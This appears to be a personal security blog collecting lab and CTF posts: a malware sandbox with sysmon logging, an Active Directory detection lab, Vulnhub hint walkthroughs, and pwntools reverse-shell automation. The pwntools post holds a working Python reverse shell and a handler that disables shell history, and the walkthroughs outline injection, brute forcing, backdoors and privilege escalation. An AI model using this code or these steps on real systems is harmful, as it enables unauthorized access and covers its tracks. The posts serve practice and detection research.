Saturday, April 10, 2021

Creating a malware sandbox for sysmon and windows event logs with virtualbox and vmexec


I was doing some research around detection related to maldoc/initial access. Usually, I've seen malicious Word or Excel documents and in some cases compressed files containing Word document, Excel document, script, or an executable. In a lot of cases LOLBIN/LOLBAS are abused. You can see this this happening a lot of sandbox (anyrun, VT dynamic, hatching triage, etc..) outputs as well.

I came across some guidance around blocking some LOLBIN/LOLBAS files with Windows Firewall to prevent some of the initial compromise activity. There multiple scripts and blog posts related to this. Essentially, Windows Firewall rules are added to prevent some of the executables from connecting to the internet.


I also saw posts where Olaf Hartong was discussing data from sandbox related to malware and LOLBIN/LOLBAS usage and rundll32 as well.

I thought it would be interesting to collect data on my own and have my own dataset to play with. I also wanted the ability to test malware in an environment where some hardening was applied, such as mentioned in the blog posts and scripts above. In addition to that, I wanted to have the ability to have an EDR agent or AV agent in the same sandbox to see what it collects or alerts on in it's management console. I ended up writing vmexec to help me with this.

vmexec is similar to cuckoo sandbox and cape sandbox but it doesn't get any information back from the VM's. It just puts the executable in the VM and executes it. When you upload the sample, you can pick a VM or use any available VM and set how long the VM will run for after the sample is uploaded. It uses virtualbox for VM's and just like cuckoo or cape, you need to have an agent inside the VM.


I'll be using Windows 10 VM with various logging enabled and sysmon installed. I'm using sysmon-module rules ( 

For forwarding logs, I'll be using winlogbeat OSS. ( I'm using OSS version because I'll be using Opendistro for elasticsearch elastic and kibana containers. (

Since I'll be running malware, I'll have to have a second VM for routing the malicious traffic but it's not required if you're okay with threat actors potentially seeing your connections. You can always set up the sandbox VM in a way it doesn't route any traffic as well.

The network and VM design kinda looks like this:


Getting all the packages and dependencies:

  1. Install Ubuntu 20.04 (although pretty much any Linux OS should work)
  2. Install Docker (
  3. Install docker-compose (
  4. Install Virtualbox (
  5. Make sure python3 and python3-pip are installed
    1. Might have to run apt install python3 python3-pip
  6. Install python packages
    1. Run the commands below:
      1. pip3 install flask
      2. pip3 install flask-sqlalchemy
      3. pip3 install flask-admin
  7. Download vmexec
    1. if you have git installed you can run:
      1. git clone

Getting Elastic and Kibana up and running:

I'm using a docker-compose file for elastic and kibana. 

research@workstation13:~/elk$ cat docker-compose.yml

version: '3'



    image: amazon/opendistro-for-elasticsearch:1.13.1

    container_name: odfe-node1


      - discovery.type=single-node

      - bootstrap.memory_lock=true # along with the memlock settings below, disables swapping

      - "ES_JAVA_OPTS=-Xms512m -Xmx512m" # minimum and maximum Java heap size, recommend setting both to 50% of system RAM



        soft: -1

        hard: -1


        soft: 65536 # maximum number of open files for the Elasticsearch user, set to at least 65536 on modern systems

        hard: 65536


      - odfe-data1:/usr/share/elasticsearch/data


      - 9200:9200


      - odfe-net


    image: amazon/opendistro-for-elasticsearch-kibana:1.13.1

    container_name: odfe-kibana


      - 5601:5601


      - "5601"


      ELASTICSEARCH_URL: https://odfe-node1:9200

      ELASTICSEARCH_HOSTS: https://odfe-node1:9200


      - odfe-net





In the docker-compose.yml file shown above, the data is being stored in odfe-data1 volume. When you take down the containers and bring them up again, the data will not go away. 

Additional information about opendistro for elastic docker container and settings can be found here:

Cd into the directory that contains the docker-compose.yml file and run docker-compose up -d to start containers in the background. To take down the containers, you can run docker-compose down from the same directory.

Once you bring up the containers, elastic will be running on port 9200 and kibana will be on 5601.

Setting up Windows 10 Sandbox

  1. Create a Windows 10 VM in virtualbox
  2. Disable updates
  3. Disable antivirus
  4. Disable UAC
  5. Disable anything else that's not needed
  6. Install whatever applications you need, such as a pdf reader or Office
    1. If you're using Office (Word or Excel), ensure to allow macros to run automatically (
  7. Install Python 3+
  8. Copy from vmexec project into the VM (do not run it yet)
These should help with disabling of some things:

Setting up logging and log forwarding:
  1. Download sysmon and install Sysmon with sysmon-module rules (see the loggingstuff.bat link above)
  2. Enable process auditing and powershell logging (
  3. Download and install winlogbeat oss
    1. configure winlogbeat oss to forward logs to, which is where elastic will be running once we create host-only adapter

After the base VM is setup, there are some network modifications that are needed.

You will need to create a host-only adapter without dhcp server enabled.

Enable the second NIC on the VM and attach it to host-only adapter.

Set the first NIC/adapter to NAT or internal network or whatever else. I have mine setup to internal network going to my router.

Finally, turn on the VM, set a static IP for the adapter in Windows. Since my vboxnet0 host-only adapter is using I set my IP to

Reboot the VM, login and run and take a snapshot while the VM is running. Note the IP address, snapshot name, and VM name.

Setting up vmexec
in, just search for #CHANGEME and modify the settings there.

You'll want to add your VM like this:

db.session.add(VMStatus(name="winVM",ip="",snapshot="Snapshot2", available=True))

name is the name you gave your VM in virtualbox, IP is the static IP that was assigned, and snapshot is the snapshot you're utilizing.


To start using vmexec, you need the docker containers for elastic and kibana running (cd into the directory with your docker-compose.yml file and type docker-compose up -d), you need your router VM up and running. You can just start the VM. Finally, you need to start vmexec. cd into the vmexec directory and type flask run -h (if you want to remotely access the web server) the web server will be running on port 5000.

the webui looks like this:

You can select and upload a file, select a specific VM from the dropdown menu (optional), and change the VM run time and click the submit button.

You can access kibana on port 5601 via web browser. Make sure to setup your index pattern. It should be winlogbeat-*.

In kibana you can search for the executable file that was ran and look at surrounding events. With sysmon-modular rules, you can also match events with mitre framework.

Modifying the project

Modifying the project is easy depending on your needs. can be modified easily if you would like to upload files to specific location or execute/open them in a certain way. There could be code added in vm_process function as well if additional steps need to be taken before running the VM or the file or after.


Saturday, January 30, 2021

Creating an Active Directory (AD) lab for log-based detection research and development with Vagrant, Humio, and AtomicRedTeam


Few years or months ago, I came across DetectionLab project and thought it was neat. It would let me conduct attacks and let me work on detection rules and also let me test detection rules. DetectionLab uses Splunk for storing logs which I'm not used to and it also requires a lot of system resources my machine doesn't have. 

I then came across DetectionLabELK, which is similar to DetectionLab but uses ELK stack, which I am familiar with but I have the same issue with system requirements and not needing some of the components of the project. DetectionLabELK people (CyberDefenders) provide a cloud version of it which is very cheap if you wanted to utilize it for testing things but I still wanted to have something on my own machine.

I did build an AD lab manually, however, after not taking snapshots and breaking the lab, I decided that I should just use Vagrant.

For my lab needs, I just need to look at logs and not network traffic. I also just need one DC, one Workstation, and a Kali VM. I'm very familiar with using Humio so I decided to use Humio cloud (free) account to store and search my logs. Kali is good for doing certain attacks but I also wanted AtomicRedTeam so I could use that for generating log data and testing queries. The AD lab I made was also inspired by Applied Purple Teaming course and TheCyberMentor ethical hacking course.


Domain: testlab.local
Computers: dc1 - - windows server 2019 desktop
workstation1 - - windows 10
kali - no IP initially, you have to set it to - kali linux

local user: vagrant / vagrant works on all machines
domain users: 
jsmith / Password123
jdoe / 123Password
SQLService / Servicepass123

all domain users are in domain admins group, administrators group, and enterprise admins group.

jsmith is a local admin on workstation1


system requirements:
any modern 4 core 8 thread CPU should be fine. I'm using i7-6700HQ.
around 16GB of RAM should work fine as well.

virtualbox download and installation:
Download and install virtualbox from here:
Install Oracle VM VirtualBox Extension Pack as well.

vagrant download and installation:
Download and install vagrant from here:
Once vagrant is installed, open command line and run: "vagrant plugin install vagrant-reload" to install the reload plugin. More info here:

downloading the github project:
Download the zip and unzip it or run git clone

setting up humio:
Get a Humio account and login at
Create a new token for this project. You can leave the parser as None. Copy the token.
Edit winlogbeat.yml file and change the password to your token.


Vagrant command line guide:

Open command prompt and cd into the LogDetectionLab folder.
Type vagrant up to bring up all 3 virtual machines.
Your initial run will download the VM boxes and set everything up. This may take 30 minutes to an hour. 

Once all the machines are up and running and vagrant command exits in command prompt, you will need to login into kali linux VM and change eth1 IP to

You will have to disable Defender on workstation1 and install invoke-atomicredteam manually (check github page for bugs).

For using invoke-atomicredteam, you will need to open powershell and run: Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force

You can also do vagrant up MACHINENAME, such as vagrant up dc1.

To tear down the lab, you need to run vagrant destroy -f. This will shutdown the VMs and remove them.

Vagrant also supports making snapshots and you can read more about that here:

modifying the project

Vagrantfile - this can be changed to modify VM cpu and memory resources, how port forwarding works, hostname, ip address, and scripts that run.

install-dc.ps1 - domain controller promotion script

join-domain.ps1 - joins the computer to the domain and adds jsmith as a local admin

create-users.ps1 - creates users on the dc

create-smbshare.ps1 - create an smb share on the dc

change_ui.ps1 - changes some Windows setting so ui is adjusted to best performance

change_sec_config.bat - disable updates, disable firewall, disable defender, disable uac, and enable rdp

install-atomicredteam.ps1 - installs invoke-atomicredteam

enable_logging.bat - enables a bunch of logging stuff, installs sysmon with olafhartong config, and downloads winlogbeat

winlogbeat.yml - winlogbeat config file, you'll have to edit this to change where the logs go also as you start seeing event id's that are not useful, you can just edit this to remove them or modify enable_logging.bat to avoid enabling certain events.

setup_winlogbeat.bat - sets up winlogbeat


I kept getting errors after I promoted the domain controller then tried to reboot. Errors were related to winrm. I added 
  config.winrm.transport = :plaintext
  config.winrm.basic_auth_only = true


executed "reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /d 0 /t REG_DWORD /f /reg:64" before promoting and that seemed to fix this issue.

At the time of posting this blog post, I'm having an issue with workstation1 not installing atomicredteam correctly. AV doesn't get turned off for some reason.

I can't change IP address on kali through vagrant. 

me typing vagrant destory -f for 10 minutes trying to figure out why it didn't work was also challenging. 


Sunday, July 5, 2020

Openfaas and infosec uses


OpenFaaS is a function as a service project that can be self-hosted, much like AWS Lambda or Google Functions. Essentially, instead of writing a full project that does various things, you write and maintain functions instead. OpenFaaS can be deployed with Docker Swarm, Kubernetes, and OpenShift.

OpenFaaS documentation is pretty clean and easy to understand. To use it, you need either Docker Swarm, Kubernetes, or OpenShift. Once you deploy OpenFaaS, you need to create a function and deploy it. There are several ways to supply data to the function, one of them is via http requests.

You can use function in sync or async way, without modifying any code at all. You just modify the URL you're sending the http requests too. In addition to that, OpenFaaS will do scaling on its own. If you're using a function a lot and OpenFaaS will spin up containers for that specific function automatically. It's also possible to utilize ci/cd with OpenFaaS to ensure that deploying changes to functions is easy and quick.

I've been mainly experimenting with OpenFaaS on Vultr but it's also possible to play with it in Docker Playground.

Infosec use cases:

I looked through some of my past projects and I can see myself using OpenFaaS if I were to rewrite them. For example, file analysis. It is possible to combine OpenFaaS with other technologies such as Redis (to keep track of operations) and Minio (to allow download/upload of files/artifacts inside of functions) to analyze malicious files or extract metadata from files. In addition to this, you can also implement machine learning and analyze features of a bunch of PE files in a function and return info about if they are malicious or not.

Another use case is analyzing phishing links. I wrote a golang project that takes links from phishtank and splits them into more URLs recursively and checks each URL to see if there is an open directory. It's possible to completely implement this with OpenFaaS. For example, you can send phishtank data to OpenFaaS function every 8 hours and split each link into multiple URLs, send URLs to another function to detect open directory, finally send the URLs that have open directory to another function that downloads files (this would be phishing kit zip files in most cases) from the open directory.

Log analysis or enrichment is another use case. For example, if you were receiving logs about remote sign-ins, you could send the logs in batches or individually to a function or functions to extract IP and do log enrichment based on API lookups for the IP or finding geolocation.

OpenFaaS can be useful for doing analysis of forensic artifacts. If you're working an incident and need to analyze artifacts from hundreds of computers, you can collect the evidence, throw it in Minio, have a bunch of functions to analyze the evidence, maybe even send the output to another set of functions for enrichment before sending the final evidence to storage or SIEM.

I discovered the OpenFaaS project earlier this month and it has been fun to play with and I can see myself using it a lot. Being able to deploy and maintain specific functions instead of a huge application is much easier for me. Also not having to write code that's threaded and OpenFaaS doing automated scaling is very nice.

Links: (Affiliate link...)

Saturday, April 25, 2020

Vulnhub VMs and guide/hints

I released some VM's on Vulnhub almost a month ago.

This post has guide/hints for those VM's.

Cloud Antivirus/Cloud AV:
1. Start by port scanning your network and locate the Easy Cloud AV VM’s IP address.
a. Port 22 and 8080 should be open and the MAC address should be: 08:00:27:BA:A5:BA
2. Do an Aggressive nmap scan on the target IP address and find out what services are running.
3. Visit the web server running on the target IP
4. You were not provided an Invite code. Bypass the Invite code page.
a. Input data in the invite form field to cause an error on the web server
b. Read the error messages and craft input to bypass the invite code page
5. Get command line injection on the scanner page
a. Based on scanner output, determine what the input could have been
b. Inject your own commands
c. To make sure command execution works, cat /etc/hostname
i. Output from it will be “cloudav”
6. Gather information about the users
a. View linux files that could contain user information
7. Brute force port 22/SSH
a. Use the gathered usernames to build a list of usernames and passwords
b. Use the list for brute forcing port 22/SSH
8. Examine home directory of users and exploit vulnerable application to get root
a. Examine the left behind source code
b. Determine how to inject commands
c. Inject commands to gain root privileges!

Socnet/social network:
Goal: Get root privilege on the machine (hostname: socnet)
1. Start by port scanning. Locate socnet VM’s IP address.
a. Port 22 and 5000 should be open. Mac address should be: 08:00:27:A6:E2:EC
2. Do an aggressive nmap scan on the target IP and find out which services are running
3. Visit the webpage on the target IP
a. Examine it for any vulnerabilities
4. Use dirb to scan the website for hidden pages
5. Use the input on the hidden page to test code
b. Try Python’s time.sleep module and see if website will take sleep and take longer to
respond. Try 5 second sleep then 10 second sleep to observe different response times.
6. Abuse to the code testing functionality to get a reverse shell
7. Setup a more stable reverse shell with meterpreter
b. Create the reverse shell binary
c. Transfer the binary to target machine using a webserver on the attacker machine and
running wget on the target machine
d. Use metasploit to handle meterpreter reverse shell
8. Utilize the ‘arp’ command in meterpreter to look for other machines on the target network
9. Utilize the ‘ifconfig’ command in meterpreter to get targets network information
10. Using metasploit, setup a route via meterpreter session
11. Utilize auxiliary/scanner/portscan/tcp to scan other machines on the target network
12. Google open ports and find out what they’re used for
13. Utilize meterpreter session to do port forwarding from your local machine to the machine with
port 9200 open
14. Utilize curl and query machine with port 9200 open and find what’s running on it, including any
version numbers
15. Exploit the service running on port 9200
a. Search for an exploit that works against version of service running on 9200
b. Utilize the exploit and gain shell access
c. Examine / directory for interesting files
16. Utilize passwords file collected from machine with port 9200 open, crack the passwords, and
build a username and password list
17. Attack SSH running on the target machine with the username and password list
18. After logging in successfully on the target machine via SSH, gather machine information
a. Get OS info
b. Get kernel info
c. Arch info (64bit or 32bit)
19. Use privesc exploit to get root privs
a. Utilize collected info to search for privesc exploits
b. Compile the privesc exploits and transfer the compiled files to target system using SCP
c. Execute the exploits to finally get root privs

Socnet2/social network 2:
Goal: Get root privilege on the machine
1. Start by port scanning and locating socnet2 VM.
a. Port 22, 80, and 8000 should be open. Mac address should be: 08:00:27:e9:e5:e6
2. Do an aggressive nmap scan and find more information about the services running
3. Visit webservers
4. Visit webserver on port 80 and examine it
a. Sign up
b. Explore the site
c. Look for any issues
5. Get a backdoor on the webserver
a. Utilize file upload functionality to get a backdoor on the webserver
b. Run the backdoor
6. Utilized the backdoor to find more information about whats running on port 8000
a. Examine the file system, processes
b. Be sure to read social network posts as well
7. Abuse the service running on port 8000 to get another shell
a. Examine the source code for the service running on port 8000
b. Write a custom tool/script to gain shell through service running on port 8000
8. Load a meterpreter backdoor on the victim machine and utilize it to examine files in the users
9. Write an exploit for SUID binary
a. Find the SUID binary in the user folder
b. Binary includes a backdoor function
c. Download the binary, use a debugger, and different inputs to trigger a crash and control
the EIP
d. Create a working exploit that launches backdoor function
10. Put the exploit on victim machine and exploit the SUID binary to get root

Moriarty Corp:
Goal: Get all the flags

No guide or hints. Sorry.

Saturday, April 20, 2019

Using thotcon 0x8 (Arduino Leonardo) badge and Deskcycle to walk/run in video games!

I bought a DeskCycle ( so I can mindlessly cycle at home while working on other tasks. (I’m not 100% sure of the health impact but it doesn’t really matter for now) Of course, it came with a display that let you track your speed, distance, and etc. it also came with a 3.5mm aux audio cable that you can use if you wanted to have the tracker display on your desk. I had the idea of using the Deskcycle to walk or run in games, like Just Cause 3 or any similar game has good visuals.

First thing I did is to Google to see if anyone had interfaced Arduino with DeskCycle and someone had. Neave Engineering blog ( has three articles on interfacing DeskCycle with an Arduino. One of the articles ( mentions that there is a switch that closes as cycle revolutions happen, which made my job easier. Basically, the input from 3.5mm jack can be treated like button input.

This is where the Thotcon ( 0x8 badge comes in. Thotcon 0x8 badge is built on Arduino Leonardo, which can also work as a keyboard! (Teensy would work too but I had a thotcon badge sitting around) A project post had the instructions to reprogram the badge via ICSP header ( It involves connecting AVR programmer then burning bootloader. After that, the badge can be reprogrammed via USB.

At this point, I hadn’t read the whole article from Neave Engineering. I spent hours trying to make the badge press and hold ‘w’ key (to walk forward in a game) in a bunch of different ways. For some reason, key presses would stop/weren’t continuous and I had other issues too. I went back and looked at the Neave Engineering post again and decided to reuse that code. Neave Engineering code can be found here:  The code comments are very useful!

I cut my 3.5mm cable, found the two wires that connect when a cycle/revolution happens and attached one to ground and one to pin 12 (var name is trigger in the code). As far as I can tell, the bottom row of pins in Thotcon 0x8 badge are all ground pins, although, I might be wrong. I didn’t closely test all of them.

Here’s my badge, with DeskCycle output pins attached to pin 12 and ground:

Here’s my modified code that does a keypress:
#include <Keyboard.h>

const float pi = 3.14159265;
const float inchesPerMile = 63360;
const int wheelSize = 26;
const float gearRatio = 2.75;
const float wheelCircumference = wheelSize * pi;
long lastTriggerTime = 0;
long currentTriggerTime = 0;
long triggerInterval = 0;
int lastTriggerValue = 0;
int triggerValue = 0;
int trigger = 12;
float cadence = 0;
float currentSpeed = 0;

void setup() {
 pinMode(trigger, INPUT);           // set pin to input
 digitalWrite(trigger, HIGH);       // turn on pullup resistors
 cli();//stop interrupts
 TCCR1A = 0;// set entire TCCR2A register to 0
 TCCR1B = 0;// same for TCCR2B
 TCNT1  = 0;//initialize counter value to 0
 OCR1A = 124;// = (16*10^6) / (2000*64) - 1 (must be <256)
 TCCR1A |= (1 << WGM01);
 TCCR1B |= (1 << CS01) | (1 << CS00);
 TIMSK1 |= (1 << OCIE1A);
 sei();//allow interrupts
 lastTriggerTime = millis();  
}//end setup

 triggerValue = digitalRead(trigger);
 triggerValue = triggerValue == 0 ? 1 : 0;
 currentTriggerTime = millis();
 triggerInterval = currentTriggerTime - lastTriggerTime;
 if(triggerInterval >= 2000)
   cadence = 0;
   currentSpeed = 0;
 if(lastTriggerValue != triggerValue)
   lastTriggerValue = triggerValue;
   if(triggerValue == 1)
     lastTriggerTime = currentTriggerTime;
     cadence = 60000 / triggerInterval;
     float rph = cadence * 60;
     float wheelRph = rph * gearRatio;
     float inchesPerHour = wheelCircumference * wheelRph;
     currentSpeed = inchesPerHour / inchesPerMile;      

void loop() {
 //not checking to see if w is pressed already since this code is not causing any issue.
 if (currentSpeed > 0){'w');
 else {

I removed serial output stuff since it wasn’t needed. I only care about the speed.
If speed is higher than 0, then keep pressing w, else release all the keys.
If there hasn’t been a cycle/revolution in more than 2 seconds, speed is set to 0.

What else you can do? You can do if or switch loop based on the speed and add Shift key press (some games allow you to sprint with it), or change LED colors, and so on. (For changing LEDs on thotcon 0x8 badge, this should help: and ) I assume you can also do something with Google Street View as well.

Friday, December 28, 2018

Using pwntools for reverse shell handling and automation

I've been working with machines on HackTheBox and VM's from Vulnhub for a while. I got annoyed of typing commands again and again. I decided to use pwntools (Python library that provides a lot of functions for CTF and exploit dev usage, for handling reverse shell and sending commands. This is nothing new, I'm sure there are people and tools out there that automate some things after a machine is popped.

For HTB and Vulnhub VM's I'm trying to avoid using tools such as metasploit, meterpreter, or anything that does everything and instead try to write my own tools and modify exploits. However, I do use nmap and enumeration tools/scripts...

For reverse shells that I get, they could have resulted from a custom python script, PHP code, or some binary exploit. If it's custom python script, I can add things I want the script to do before it connects back to me but for shell from PHP or exploit, I have to send commands after I get a reverse connection.

This is what I have as my handler: 

from pwn import *

l = listen(80)
l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
l.sendline(" export SHELL=bash")
l.sendline(" export HISTFILE=/dev/null")
l.sendline(" export TERM=xterm")
l.sendline(" stty rows 38 columns 116")
l.sendline(""" alias ls='ls -lha --color=auto'""")
l.sendline("uname -a")
l.sendline("ps aux")

It listens on port 80 and as soon as there is a reverse shell, it executes commands. l.interactive() gives you a shell.
I change it depending on the situation. For one of the HTB machines, I had lines added to log in as one of the privileged users. You can also add commands in here to automatically download enumeration or privesc tools and execute them. 

Another common problem I've had is losing the shell. This typically happens because I pressed control+C after running a command I shouldn't have or didn't need to. I decided to modify my reverse python shell to make it run in an infinite loop, with sleep in the middle when disconnected. This was fine for a while but I didn't wanna have my reverse shell running on shared HTB machines all the time, if I happen to stop working on the machine or get disconnected and my IP changes. I changed the script and added a counter so after a while if it's not able to connect to me, the process ends.

Here's what the reverse shell looks like:

import socket, subprocess, os, time
counter = 0
while counter < 6:
        counter = 0["/bin/bash","-i"]);
        counter = counter + 1


Friday, December 21, 2018

Virtualization server setup

This post is about how I have my virtualization server setup at home. I built it earlier this year. 

Use cases for me are: running VM's, malware analysis, pentesting practice, processing data/logs, doing CTF stuff, running containers, virtualized networking, and so on...

CPU: AMD Ryzen 5 1600, it's 6 cores and 12 threads. It's cheap and good enough. 
Motherboard: B350M Mortar
RAM: 4x8GB, total 32GB. It's good enough for running multiple VM's and containers. I had 16GB before and it worked fine.
Networking: Motherboard has an onboard 1GB Ethernet. For a connection to a NAS, I added a 10GB MELLANOX NIC and a pair of those should cost around 30 bucks on ebay. Finally, I added 4x1GB ethernet NIC, which I think is sold by Syba on Amazon.
Case: Thermaltake Versa H17
Storage: 2x2TB HDD, 1x240GB SSD

Virtualization setup: I'm using Proxmox VE for virtualization. It supports VM's and Containers. On top of that, I'm using Docker as well. ServeTheHome has an article on how to set it up:

The 2x2TB drives are installed in RAID 1 mode. Proxmox VE is installed on top of them. SSD contains ISO images for Linux, Windows, and etc. It also holds Container images. All of the VM content is saved to the HDD's. Additionally, all the data can be backed up via the 10GB link to the NAS. 

Proxmox VE allows you to create templates based on VM's too. In my case, I have templates for Windows and Ubuntu server, which tools such as git, python, and etc. preinstalled. 

With networking, Proxmox VE allows you to use OpenVSwitch, right from the WebUI. It lets you create virtualized networks just for VM's or use one of the hardware ports. This comes in very handy when doing malware analysis. For example, you can set up pfsense as a VM and add a virtualized network. You can also put the VM you're doing malware analysis on the virtualized network. Pfsense can be configured to route all the traffic through VPN. When malware traffic leaves the network, it ends up going through VPN. 

Here's what the virtualization machine looks like on the inside:

Here's the back:

Proxmox VE:
ServeTheHome - a really useful website:
Opnsense (similar to pfsense):
Homelab subreddit, useful for looking at other setups and asking questions: